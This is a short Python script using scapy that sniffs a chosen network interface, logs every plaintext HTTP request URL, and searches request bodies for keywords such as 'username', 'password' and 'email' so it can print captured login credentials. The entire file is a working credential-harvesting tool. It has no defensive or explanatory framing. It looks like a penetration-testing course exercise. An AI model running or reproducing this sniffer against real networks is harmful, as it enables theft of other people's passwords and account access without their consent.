#!/usr/bin/env python3

import optparse
import scapy.all as scapy
from scapy.layers import http

def get_interface():
    parser = optparse.OptionParser()
    parser.add_option('-i', '--interface', dest='interface', help='Interface to sniff packets on.')
    (options, arguments) = parser.parse_args()
    if not options.interface:
        parser.error('[-] Please specify what Interface you want to sniff.')
    return options.interface

def sniff(interface):
    scapy.sniff(iface = interface, store = False, prn = process_sniffed_packet)

def get_url(packet):
    url = packet[http.HTTPRequest].Host.decode() + packet[http.HTTPRequest].Path.decode()
    return url

def get_login_info(packet):
    if packet.haslayer(scapy.Raw):
            load = packet[scapy.Raw].load
            keywords = ["username", "uname", "login", "email", "user", "password", "pass", "key"]
            for keyword in keywords:
                if keyword in str(load):
                    return load.decode()

def process_sniffed_packet(packet):
    if packet.haslayer(http.HTTPRequest):
        url = get_url(packet)
        load = get_login_info(packet)
        print("[+] HTTP Request >> " + url)

        if load:
            print("\t[+] Possible username/password >> " + load)

interface = get_interface()
sniff(interface)